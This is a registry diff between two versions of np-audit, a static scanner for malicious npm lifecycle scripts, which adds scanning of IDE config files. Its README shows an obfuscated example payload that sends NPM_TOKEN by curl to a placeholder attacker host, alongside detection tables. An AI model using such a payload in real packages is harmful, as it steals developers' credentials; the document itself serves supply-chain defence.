np-audit 2.0.0 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -5,101 +5,82 @@
5
5
  [![npm package size](https://img.shields.io/npm/unpacked-size/np-audit)](https://www.npmjs.com/package/np-audit)
6
6
  [![GitHub license](https://img.shields.io/github/license/KoblerS/np-audit.svg)](https://github.com/KoblerS/np-audit/blob/main/LICENSE)
7
7
  [![CI](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml/badge.svg)](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml)
8
+ [![codecov](https://codecov.io/gh/KoblerS/np-audit/branch/main/graph/badge.svg)](https://codecov.io/gh/KoblerS/np-audit)
8
9
 
9
10
  # np-audit — npm package auditor
10
11
 
11
12
  Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns **before** they run. Drop-in replacement for `npm install` and `npm ci`.
12
13
 
13
- **Zero dependencies.** Pure Node.js built-ins only.
14
+ **Zero dependencies.** Pure Node.js built-ins only. **< 100 kB** on the wire.
14
15
 
15
- ---
16
+ ```bash
17
+ npx np-audit scan express
18
+ ```
16
19
 
17
- ## The Attack Vector
20
+ ```bash
21
+ npm install -g np-audit
22
+ npa scan # scan all deps
23
+ npa install # audit then install
24
+ alias npm='npa' # use as drop-in replacement
25
+ ```
18
26
 
19
- Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run `npm install`, npm automatically executes any `preinstall`, `install`, or `postinstall` script defined in a package's `package.json`. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
27
+ ---
20
28
 
21
- ```json
22
- {
23
- "scripts": {
24
- "postinstall": "node ./dist/install.js"
25
- }
26
- }
27
- ```
29
+ ## Marshallers
28
30
 
29
- Where `dist/install.js` contains something like:
31
+ Detection is split into modular marshallers — each one detects a single attack signal:
30
32
 
31
- ```js
32
- // Obfuscated hard to read by design
33
- var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
34
- eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');
35
- ```
33
+ | Marshaller | What it detects | Score |
34
+ | ---------- | --------------- | ----- |
35
+ | `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
36
+ | `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
37
+ | `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
38
+ | `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
39
+ | `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
40
+ | `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
41
+ | `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
42
+ | `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
43
+ | `process-env` | `process.env` access (credential exfiltration signal) | 3 |
44
+ | `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
45
+ | `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
46
+ | `runtime-download` | Downloads and executes external runtimes (Bun, Deno) | 9–50 |
47
+ | `vscode-autorun` | VS Code tasks with `runOn: folderOpen` (auto-execution) | 30 |
48
+ | `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
49
+
50
+ Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.
36
51
 
37
- Real-world examples include:
38
-
39
- - **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — malicious postinstall that stole Bitcoin wallet credentials
40
- - **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
41
- - **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
42
- - **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
43
- - **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised npm package targeting SAP developers
44
-
45
- **`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
46
-
47
- | Signal | Example |
48
- | ------------------------------ | ------------------------------------------ |
49
- | `eval()` / `new Function()` | `eval(atob("aGVsbG8="))` |
50
- | Indirect eval | `(0, eval)(x)`, `globalThis['ev'+'al'](x)` |
51
- | Function constructor prototype | `({}).constructor.constructor("…")()` |
52
- | `setTimeout` with string arg | `setTimeout('alert(1)', 100)` |
53
- | Obfuscator.io patterns | `var _0x3f2a = [...]` |
54
- | High-entropy strings | Encrypted/compressed payloads |
55
- | Split-literal high entropy | `'aB' + 'cD' + 'eF' + …` (concat chain) |
56
- | Hex / Unicode escape density | `\x68\x65\x6c\x6c\x6f`, `\u0068\u0065…` |
57
- | `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
58
- | Decimal char-code arrays | `[101,118,97,108,...]` (printable ASCII) |
59
- | Base64 / hex decode + exec | `Buffer.from(x,'base64'\|'hex')` + `eval` |
60
- | Shell spawning | `require('child_process').exec(...)` |
61
- | `worker_threads` | `new Worker(...)`, eval-class surface |
62
- | Concealed `require` | `require('child' + '_process')` |
63
- | Dynamic `require` / `import` | `require(variable)`, `import(expr)` |
64
- | Large hex literal arrays | `[0x1a, 0x2b, 0x3c, ...]` × 20+ |
65
- | `process.env` access | Token/credential harvesting |
66
- | Outbound network calls | `https`/`http`/`net`/`dns`/`tls`/`dgram`/`http2`, `node:` prefix, dynamic `import()` |
67
- | Missing referenced script | Command references file not in tarball |
68
- | Oversized require graph | Postinstall reaches >50 files or >5 MB |
69
-
70
- ### Coverage beyond the entry script
71
-
72
- `npa` doesn't just inspect the single file named in the lifecycle command. It:
73
-
74
- - Splits chained commands (`&&`, `||`, `;`, `|`) and analyses each segment, so `node setup.js && node payload.js` no longer hides the second invocation.
75
- - Handles `node -e "…"`, `sh -c "…"`, `python -c "…"` by analysing the inline code rather than just the wrapper command.
76
- - Reads shell scripts (`sh ./install.sh`), Python scripts, and shebang-invoked files — not only `node` targets.
77
- - Follows internal `require('./…')` and `import './…'` chains across the package (with cycle detection and per-package caps), so payloads hidden in helper files like `lib/helper.js` are caught.
78
- - Records dynamic `require(variable)` / `import(expr)` calls as findings, since they can't be resolved statically.
79
- - Scans the project's **own** `package.json` lifecycle scripts by default, catching PRs and supply-chain attacks that target the repository itself. Opt out with `scanSelf: false` in `.npmauditor.json`.
80
- - Inspects **all** lifecycle scripts npm may run, not only `preinstall`/`install`/`postinstall`: also `prepare`, `preprepare`, `postprepare`, and `prepublish`.
52
+ See [CONTRIBUTING.md](CONTRIBUTING.md) for how to write custom marshallers.
81
53
 
82
54
  ---
83
55
 
84
- ## Install
56
+ ## Vulnerability Scanning (CVE)
85
57
 
86
- **Global install (recommended):**
58
+ Every scanned package is checked against known vulnerability databases alongside the code analysis.
87
59
 
88
- ```bash
89
- npm install -g np-audit
90
- ```
60
+ **Default: OSV.dev (no setup required)**
91
61
 
92
- **Or use directly with npx:**
62
+ Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
63
+
64
+ **Optional: Snyk API (richer data)**
93
65
 
94
66
  ```bash
95
- npx np-audit scan
67
+ # Environment variable
68
+ export SNYK_API_TOKEN=your-token-here
69
+
70
+ # Or via Snyk CLI
71
+ snyk auth
96
72
  ```
97
73
 
98
- After global install, use the `npa` command:
74
+ Token resolution order: `SNYK_API_TOKEN` `SNYK_TOKEN` → `~/.config/configstore/snyk.json`
99
75
 
100
- ```bash
101
- npa --version
102
- ```
76
+ | Severity | Score | Verdict |
77
+ | -------- | ----- | ------- |
78
+ | Malicious package | 80 | DANGER |
79
+ | 10+ vulnerabilities | 6 | WARN |
80
+ | 5–9 vulnerabilities | 5 | WARN |
81
+ | 1–4 vulnerabilities | 4 | WARN |
82
+
83
+ Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
103
84
 
104
85
  ---
105
86
 
@@ -111,14 +92,13 @@ npa --version
111
92
  | ------------------------------ | ----------- | ---------------------------------- |
112
93
  | `npa install [package]` | `npa i` | Audit then run `npm install` |
113
94
  | `npa ci` | — | Audit then run `npm ci` |
114
- | `npa scan` | `npa s` | Scan only, no install |
95
+ | `npa scan [package]` | `npa s` | Scan only, no install |
115
96
  | `npa config get` | `npa c get` | Show current configuration |
116
97
  | `npa config set <key> <value>` | `npa c set` | Update a config value |
117
- | `npa alias` | — | Print shell hook for auto-scanning |
118
- | `npa alias --install` | — | Install hook to shell profile |
119
- | `npa alias --uninstall` | — | Remove hook from shell profile |
98
+ | `npa alias --install` | — | Install shell alias |
99
+ | `npa alias --uninstall` | — | Remove shell alias |
120
100
 
121
- Use `npa <command> -h` for detailed help on any command.
101
+ Any unrecognized command is forwarded to npm (e.g. `npa run test`, `npa publish`).
122
102
 
123
103
  ### Flags
124
104
 
@@ -128,41 +108,13 @@ Use `npa <command> -h` for detailed help on any command.
128
108
  | `--json` | — | `install`, `ci`, `scan` | Machine-readable JSON output |
129
109
  | `--no-dev` | — | `install`, `ci`, `scan` | Skip devDependencies |
130
110
  | `--verbose` | — | all | Show fetch progress and extra detail |
131
- | `--version` | | — | Print version and exit |
111
+ | `--version` | `-v` | — | Print version and exit |
132
112
  | `--help` | `-h` | — | Print help and exit |
133
113
 
134
- ### Drop-in replacement for `npm install`
135
-
136
- ```bash
137
- # Audit all dependencies, then install if clean
138
- npa install # or: npa i
139
-
140
- # Audit a specific package before adding it
141
- npa i express
142
- ```
143
-
144
- ### Drop-in replacement for `npm ci`
145
-
146
- ```bash
147
- npa ci
148
- ```
149
-
150
- ### Scan only (no install)
151
-
152
- ```bash
153
- npa scan # or: npa s
154
- npa s --json # machine-readable output
155
- npa s --no-dev # skip devDependencies
156
- npa s --verbose # show fetch progress
157
- ```
158
-
159
114
  ### Interactive `--review` mode
160
115
 
161
- Review each install script yourself and decide which to allow:
162
-
163
116
  ```bash
164
- npa i --review # or: npa i -r
165
- npa ci --review
117
+ npa install --review
166
118
  ```
167
119
 
168
120
  ```
@@ -178,169 +130,94 @@ npa ci --review
178
130
  2 allowed 1 denied
179
131
  ```
180
132
 
181
- After confirmation, `npa` runs `npm install --ignore-scripts` and then manually executes only the scripts you allowed.
182
-
183
- ### Configuration
184
-
185
- ```bash
186
- # Show current config
187
- npa config get
188
-
189
- # Change thresholds
190
- npa config set blockScore 6 # block at score 6+ (default: 7)
191
- npa config set warnScore 3 # warn at score 3+ (default: 4)
192
-
193
- # Skip trusted packages or scopes
194
- npa config set skipPackages '["esbuild","puppeteer"]'
195
- npa config set skipScopes '["@types","@babel"]'
196
- ```
197
-
198
- Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
199
-
200
- ### Shell Hook (npm alias)
201
-
202
- Automatically run `npa scan` before every `npm install` or `npm ci`:
203
-
204
- ```bash
205
- # Install the hook to your shell profile (~/.zshrc or ~/.bashrc)
206
- npa alias --install
207
-
208
- # Reload your shell
209
- source ~/.zshrc # or ~/.bashrc
210
- ```
211
-
212
- Now when you run `npm install` or `npm ci`, npa will scan first:
213
-
214
- ```bash
215
- $ npm install lodash
216
- [npa] Scanning dependencies before npm install...
217
- ✔ No packages with install scripts found.
218
- [npa] Scan passed. Running npm install...
219
- ```
220
-
221
- If issues are found, the install is blocked:
133
+ ---
222
134
 
223
- ```bash
224
- $ npm install evil-pkg
225
- [npa] Scanning dependencies before npm install...
226
- ✗ evil-pkg@1.0.0 DANGER (score: 9)
227
- [npa] Scan found issues. Run 'npa install --review' for interactive mode.
228
- ```
135
+ ## Configuration
229
136
 
230
- To remove the hook:
137
+ Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json`.
231
138
 
232
139
  ```bash
233
- npa alias --uninstall
140
+ npa config get # Show current config
141
+ npa config set blockScore 6 # Block at score 6+
142
+ npa config set skipPackages '["esbuild"]' # Trust specific packages
143
+ npa config set skipScopes '["@types"]' # Trust entire scopes
234
144
  ```
235
145
 
236
- #### All config keys
146
+ ### All config keys
237
147
 
238
148
  | Key | Default | Description |
239
149
  | ----------------- | ---------------------------- | --------------------------------------- |
240
- | `blockScore` | `7` | Score threshold for hard block (exit 1) |
241
- | `warnScore` | `4` | Score threshold for warning (exit 0) |
150
+ | `blockScore` | `7` | Score threshold for DANGER (exit 1) |
151
+ | `warnScore` | `4` | Score threshold for WARN (exit 0) |
242
152
  | `registry` | `https://registry.npmjs.org` | npm registry URL |
243
153
  | `timeout` | `30000` | HTTP request timeout (ms) |
244
- | `parallelFetches` | `5` | Concurrent tarball downloads |
245
- | `skipScopes` | `[]` | `@scope` prefixes to skip entirely |
246
- | `skipPackages` | `[]` | Specific package names to skip |
154
+ | `parallelFetches` | `5` | Concurrent downloads |
155
+ | `skipScopes` | `[]` | `@scope` prefixes to skip |
156
+ | `skipPackages` | `[]` | Package names to skip |
247
157
  | `silent` | `false` | Suppress output when no issues found |
248
- | `scanSelf` | `true` | Also scan the current project's own `package.json` lifecycle scripts |
249
- | `maxTarballSize` | `50MB` | Max unpacked tarball size (zip bomb protection) |
250
- | `checkVulnerabilities` | `true` | Check packages against known vulnerability databases |
251
- | `deepResolve` | `false` | Recursively resolve full transitive dependency tree |
158
+ | `scanSelf` | `true` | Scan own project lifecycle scripts |
159
+ | `maxTarballSize` | `50MB` | Max unpacked tarball size (bomb protection) |
160
+ | `checkVulnerabilities` | `true` | Check packages against CVE databases |
161
+ | `deepResolve` | `false` | Resolve full transitive dependency tree |
252
162
 
253
163
  ---
254
164
 
255
- ### Vulnerability Scanning (CVE)
165
+ ## Shell Alias
256
166
 
257
- np-audit checks every scanned package against known vulnerability databases. This runs alongside the obfuscation detection and flags packages with known CVEs.
258
-
259
- **Default: OSV.dev (no setup required)**
260
-
261
- Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
262
-
263
- **Optional: Snyk API (richer data)**
264
-
265
- For more detailed vulnerability information, configure a Snyk API token:
167
+ Use npa as a transparent npm replacement:
266
168
 
267
169
  ```bash
268
- # Option 1: Environment variable
269
- export SNYK_API_TOKEN=your-token-here
270
-
271
- # Option 2: Snyk CLI config (if you have Snyk CLI installed)
272
- snyk auth
170
+ npa alias --install # adds: alias npm='npa'
171
+ source ~/.zshrc # reload shell
273
172
  ```
274
173
 
275
- np-audit checks for the token in this order:
276
- 1. `SNYK_API_TOKEN` environment variable
277
- 2. `SNYK_TOKEN` environment variable
278
- 3. `~/.config/configstore/snyk.json` (created by `snyk auth`)
279
-
280
- **Scoring:**
281
- | Severity | Score | Verdict |
282
- | -------- | ----- | ------- |
283
- | Malicious package | 80 | DANGER |
284
- | 10+ vulnerabilities | 6 | WARN |
285
- | 5-9 vulnerabilities | 5 | WARN |
286
- | 1-4 vulnerabilities | 4 | WARN |
287
-
288
- Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
289
-
290
- **Disable vulnerability checks:**
174
+ Now `npm install`, `npm ci` scan automatically. All other npm commands (`npm run`, `npm test`, `npm publish`) pass through unchanged.
291
175
 
292
176
  ```bash
293
- npa config set checkVulnerabilities false
177
+ npa alias --uninstall # remove the alias
294
178
  ```
295
179
 
296
180
  ---
297
181
 
298
- ## Exit codes
182
+ ## How It Works
299
183
 
300
- | Code | Meaning |
301
- | ---- | ----------------------------------- |
302
- | `0` | All packages clean or only warnings |
303
- | `1` | One or more packages blocked |
184
+ 1. **Parse** `package-lock.json` (v1/v2/v3) or resolve from `package.json`
185
+ 2. **Fetch** tarballs from registry (or read from `node_modules`)
186
+ 3. **Parse** lifecycle commands splits `&&`/`||`/`;`/`|`, handles `node -e`, `sh -c`, shell scripts
187
+ 4. **Walk** the `require()`/`import` graph from each entry (cycle detection, 50 file / 5 MB cap)
188
+ 5. **Analyze** with all marshallers — static code checks + CVE database queries
189
+ 6. **Score** and classify: DANGER / WARN / OK
190
+ 7. **Report** or proceed with install
304
191
 
305
192
  ---
306
193
 
307
- ## How it works
194
+ ## The Attack Vector
308
195
 
309
- 1. **Parse** `package-lock.json` (supports v1, v2, v3 formats)
310
- 2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
311
- 3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
312
- 4. **Parse the lifecycle command** — split on `&&` / `||` / `;` / `|`, classify each segment by interpreter (`node`, `sh`, `python`, `bun`, …), and treat `node -e` / `sh -c` arguments as inline code
313
- 5. **Walk the require/import graph** from each entry script — following internal `./` / `../` paths, with cycle detection and per-package caps (50 files / 5 MB)
314
- 6. **Analyze** every reached file statically across all lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`, `preprepare`, `postprepare`, `prepublish`) — never execute
315
- 7. **Also scan the current project's own** `package.json` lifecycle scripts (unless `scanSelf: false`)
316
- 8. **Score** findings (0–10 per signal), classify as DANGER / WARN / OK based on config thresholds
317
- 9. **Report** results to terminal or `--json` — each finding is tagged with the file it came from
318
- 10. **Proceed** — run npm normally, or in `--review` mode let you selectively allow scripts
196
+ Supply chain attacks abuse npm lifecycle scripts. When you run `npm install`, any `preinstall`/`install`/`postinstall` script runs automatically. Attackers hide payloads behind obfuscation:
319
197
 
320
- ---
198
+ ```js
199
+ var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
200
+ eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
201
+ ```
321
202
 
322
- ## Marshallers
203
+ Real-world incidents:
323
204
 
324
- Detection is split into modular marshallers each one detects a single attack signal:
205
+ - **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)**Bitcoin wallet credential theft
206
+ - **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — crypto miner + info-stealer
207
+ - **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — geo-targeted wiper malware
208
+ - **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — maintainer sabotage
209
+ - **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised package targeting enterprise developers
325
210
 
326
- | Marshaller | What it detects | Score |
327
- | ---------- | --------------- | ----- |
328
- | `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
329
- | `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
330
- | `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
331
- | `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
332
- | `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
333
- | `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
334
- | `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
335
- | `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
336
- | `process-env` | `process.env` access (credential exfiltration signal) | 3 |
337
- | `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
338
- | `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
339
- | `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
211
+ `npa` **never executes** scripts. It downloads and statically analyzes them.
340
212
 
341
- Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.
213
+ ---
342
214
 
343
- See [CONTRIBUTING.md](CONTRIBUTING.md) for the marshaller architecture and how to write custom ones.
215
+ ## Exit Codes
216
+
217
+ | Code | Meaning |
218
+ | ---- | ----------------------------------- |
219
+ | `0` | All clean or only warnings |
220
+ | `1` | One or more packages blocked |
344
221
 
345
222
  ---
346
223
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "np-audit",
3
- "version": "2.0.0",
3
+ "version": "2.2.0",
4
4
  "description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
5
5
  "bin": {
6
6
  "npa": "bin/npa.js",
@@ -13,7 +13,8 @@
13
13
  "README.md"
14
14
  ],
15
15
  "scripts": {
16
- "test": "node test/index.js"
16
+ "test": "node test/index.js",
17
+ "coverage": "npx c8@11.0.0 --reporter=lcov --reporter=text-summary node test/index.js"
17
18
  },
18
19
  "engines": {
19
20
  "node": ">=18.0.0"
@@ -32,5 +33,8 @@
32
33
  "repository": {
33
34
  "type": "git",
34
35
  "url": "git+https://github.com/KoblerS/np-audit.git"
36
+ },
37
+ "dependencies": {
38
+ "c8": "^11.0.0"
35
39
  }
36
40
  }
@@ -32,7 +32,9 @@ module.exports = {
32
32
  async run({ flags, config, cwd }) {
33
33
  const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
34
34
  if (spinner) spinner.start();
35
+ const t0 = Date.now();
35
36
  const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
37
+ const elapsedMs = Date.now() - t0;
36
38
  if (spinner) spinner.stop();
37
39
  const hasIssues = results.some(r => r.verdict !== 'OK');
38
40
  const silent = config.silent && !hasIssues;
@@ -43,6 +45,7 @@ module.exports = {
43
45
  process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
44
46
  } else {
45
47
  printResults(results, silent);
48
+ if (!silent) output.printSummary(results, elapsedMs);
46
49
  }
47
50
 
48
51
  const blocked = results.filter(r => r.verdict === 'BLOCK');
@@ -35,6 +35,7 @@ module.exports = {
35
35
 
36
36
  const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
37
37
  if (spinner) spinner.start();
38
+ const t0 = Date.now();
38
39
  const results = await scan({
39
40
  cwd,
40
41
  config,
@@ -42,6 +43,7 @@ module.exports = {
42
43
  verbose: flags.verbose,
43
44
  packages: packages.length > 0 ? packages : null,
44
45
  });
46
+ const elapsedMs = Date.now() - t0;
45
47
  if (spinner) spinner.stop();
46
48
 
47
49
  const hasIssues = results.some(r => r.verdict !== 'OK');
@@ -53,6 +55,7 @@ module.exports = {
53
55
  process.stdout.write(JSON.stringify(toJsonReport(results), null, 2) + '\n');
54
56
  } else {
55
57
  printResults(results, silent);
58
+ if (!silent) output.printSummary(results, elapsedMs);
56
59
  }
57
60
 
58
61
  const blocked = results.filter(r => r.verdict === 'BLOCK');
@@ -33,7 +33,9 @@ module.exports = {
33
33
  const packages = args.filter(a => !a.startsWith('-'));
34
34
  const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
35
35
  if (spinner) spinner.start();
36
+ const t0 = Date.now();
36
37
  const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose, packages: packages.length > 0 ? packages : null });
38
+ const elapsedMs = Date.now() - t0;
37
39
  if (spinner) spinner.stop();
38
40
  const hasIssues = results.some(r => r.verdict !== 'OK');
39
41
  const silent = config.silent && !hasIssues;
@@ -47,7 +49,7 @@ module.exports = {
47
49
  }
48
50
 
49
51
  printResults(results, silent);
50
- if (!silent) output.printSummary(results);
52
+ if (!silent) output.printSummary(results, elapsedMs);
51
53
 
52
54
  const hasBlock = results.some(r => r.verdict === 'BLOCK');
53
55
  process.exit(hasBlock ? 1 : 0);
@@ -344,20 +344,6 @@ function checkFilesystemManipulation(code) {
344
344
 
345
345
  // ─── Main detection function ─────────────────────────────────────────────────
346
346
 
347
- const CHECKS = [
348
- checkEval,
349
- checkObfuscatorIo,
350
- checkHighEntropy,
351
- checkHexEscapes,
352
- checkFromCharCode,
353
- checkBase64Exec,
354
- checkChildProcess,
355
- checkHexArray,
356
- checkProcessEnv,
357
- checkNetworkCalls,
358
- checkFilesystemManipulation,
359
- ];
360
-
361
347
  /**
362
348
  * Run all checks against a code string.
363
349
  * For large files, uses a sliding window (50% overlap) so payloads cannot
@@ -389,8 +375,12 @@ function detectObfuscation(code, config = { blockScore: 50, warnScore: 20 }) {
389
375
 
390
376
  const allFindings = new Map(); // Dedupe by name, keep highest score
391
377
 
378
+ // Combine inline checks with marshaller registry
379
+ const { getStaticMarshallers } = require('../marshallers');
380
+ const allChecks = getStaticMarshallers().map(m => m.check.bind(m));
381
+
392
382
  for (const chunk of chunks) {
393
- for (const check of CHECKS) {
383
+ for (const check of allChecks) {
394
384
  const result = check(chunk);
395
385
  if (result) {
396
386
  const existing = allFindings.get(result.name);
@@ -145,7 +145,11 @@ async function scan(opts) {
145
145
  if (selfResult) scanned.unshift(selfResult);
146
146
  }
147
147
 
148
- scanned.totalPackages = allPackages.length;
148
+ // Scan IDE/tool config files that can auto-execute code
149
+ const ideResults = scanIdeConfigs(cwd, config);
150
+ scanned.push(...ideResults);
151
+
152
+ scanned.totalPackages = allPackages.length + ideResults.length;
149
153
  return scanned;
150
154
  }
151
155
 
@@ -178,6 +182,78 @@ function scanCwdProject(cwd, config) {
178
182
  return analyzeScriptsLocalFromDir(pkg, pkgJson, cwd, config);
179
183
  }
180
184
 
185
+ const IDE_CONFIG_FILES = [
186
+ '.vscode/tasks.json',
187
+ '.vscode/settings.json',
188
+ '.vscode/launch.json',
189
+ '.claude/settings.json',
190
+ ];
191
+
192
+ function scanIdeConfigs(cwd, config) {
193
+ const results = [];
194
+
195
+ for (const relPath of IDE_CONFIG_FILES) {
196
+ const fullPath = path.join(cwd, relPath);
197
+ if (!fs.existsSync(fullPath)) continue;
198
+
199
+ let code;
200
+ try { code = fs.readFileSync(fullPath, 'utf8'); } catch { continue; }
201
+
202
+ const result = detectObfuscation(code, config);
203
+ if (result.score === 0) continue;
204
+
205
+ results.push({
206
+ pkg: { name: relPath, version: '', self: true },
207
+ scripts: [{ lifecycle: 'ide-config', file: relPath, code, ...result }],
208
+ score: result.score,
209
+ findings: result.findings,
210
+ verdict: result.verdict,
211
+ });
212
+
213
+ // Also scan any files referenced by commands in tasks.json
214
+ if (relPath.endsWith('tasks.json')) {
215
+ const referenced = extractReferencedScripts(code, cwd);
216
+ for (const { file, scriptCode } of referenced) {
217
+ const scriptResult = detectObfuscation(scriptCode, config);
218
+ if (scriptResult.score > 0) {
219
+ const existing = results.find(r => r.pkg.name === relPath);
220
+ if (existing) {
221
+ existing.scripts.push({ lifecycle: 'task-script', file, code: scriptCode, ...scriptResult });
222
+ existing.findings.push(...scriptResult.findings);
223
+ if (scriptResult.score > existing.score) {
224
+ existing.score = scriptResult.score;
225
+ existing.verdict = verdictFromScore(scriptResult.score, config);
226
+ }
227
+ }
228
+ }
229
+ }
230
+ }
231
+ }
232
+
233
+ return results;
234
+ }
235
+
236
+ function extractReferencedScripts(tasksJson, cwd) {
237
+ const scripts = [];
238
+ try {
239
+ const tasks = JSON.parse(tasksJson);
240
+ for (const task of tasks.tasks || []) {
241
+ if (!task.command) continue;
242
+ // Extract file paths from commands like "node .claude/setup.mjs"
243
+ const match = task.command.match(/(?:node|bun|deno|sh|bash|python)\s+([^\s]+)/);
244
+ if (match) {
245
+ const scriptPath = path.join(cwd, match[1]);
246
+ if (fs.existsSync(scriptPath)) {
247
+ try {
248
+ scripts.push({ file: match[1], scriptCode: fs.readFileSync(scriptPath, 'utf8') });
249
+ } catch {}
250
+ }
251
+ }
252
+ }
253
+ } catch {}
254
+ return scripts;
255
+ }
256
+
181
257
  /**
182
258
  * Analyze a package's lifecycle scripts using a directory root as the
183
259
  * filesystem base. Used for both node_modules packages and the CWD itself.
@@ -575,6 +651,17 @@ function extractSemver(range) {
575
651
  return null;
576
652
  }
577
653
 
654
+ /**
655
+ * Resolve an extracted (possibly partial) version to a full version using registry metadata.
656
+ * Falls back to dist-tags.latest when the partial version doesn't match any published version.
657
+ */
658
+ function resolveVersion(extracted, meta) {
659
+ if (meta.versions && meta.versions[extracted]) return extracted;
660
+ const latest = meta['dist-tags'] && meta['dist-tags'].latest;
661
+ if (latest && meta.versions && meta.versions[latest]) return latest;
662
+ return null;
663
+ }
664
+
578
665
  /**
579
666
  * Resolve dependencies from package.json when no lockfile exists.
580
667
  * @param {string} cwd
@@ -611,12 +698,13 @@ async function resolveFromPackageJson(cwd, config, noDev) {
611
698
  try {
612
699
  const encodedName = name.startsWith('@') ? `@${encodeURIComponent(name.slice(1))}` : encodeURIComponent(name);
613
700
  const meta = await fetchJSON(`${config.registry}/${encodedName}`, { timeout: config.timeout });
614
- const versionData = meta.versions && meta.versions[version];
615
- if (!versionData) continue;
701
+ const resolvedVersion = resolveVersion(version, meta);
702
+ if (!resolvedVersion) continue;
703
+ const versionData = meta.versions[resolvedVersion];
616
704
 
617
705
  packages.push({
618
706
  name,
619
- version,
707
+ version: resolvedVersion,
620
708
  resolved: versionData.dist && versionData.dist.tarball,
621
709
  integrity: versionData.dist && versionData.dist.integrity || '',
622
710
